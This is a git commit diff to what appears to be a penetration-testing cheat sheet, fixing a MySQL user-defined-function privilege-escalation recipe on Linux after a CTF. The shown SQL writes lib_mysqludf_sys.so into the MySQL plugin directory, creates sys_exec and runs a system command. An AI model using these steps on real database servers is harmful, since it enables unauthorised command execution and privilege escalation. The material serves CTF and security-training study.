Fixed "Privilege Escalation via library" > Linux
Fixed the error on line 151, the dump file was wrong Tested during Namhacon CTF
This commit is contained in:
parent
271e0ab6a2
commit
faa21b4b0b
@ -148,7 +148,7 @@ You can find **compiled versions** of this **libraries** in sqlmap: `locate lib_
|
||||
use mysql;
|
||||
create table npn(line blob);
|
||||
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
|
||||
select * from npn into dumpfile '/tmp/lib_mysqludf_sys.so';
|
||||
select * from npn into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';
|
||||
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
|
||||
select sys_exec('id > /tmp/out.txt');
|
||||
```
|
||||
|
Loading…
Reference in New Issue
Block a user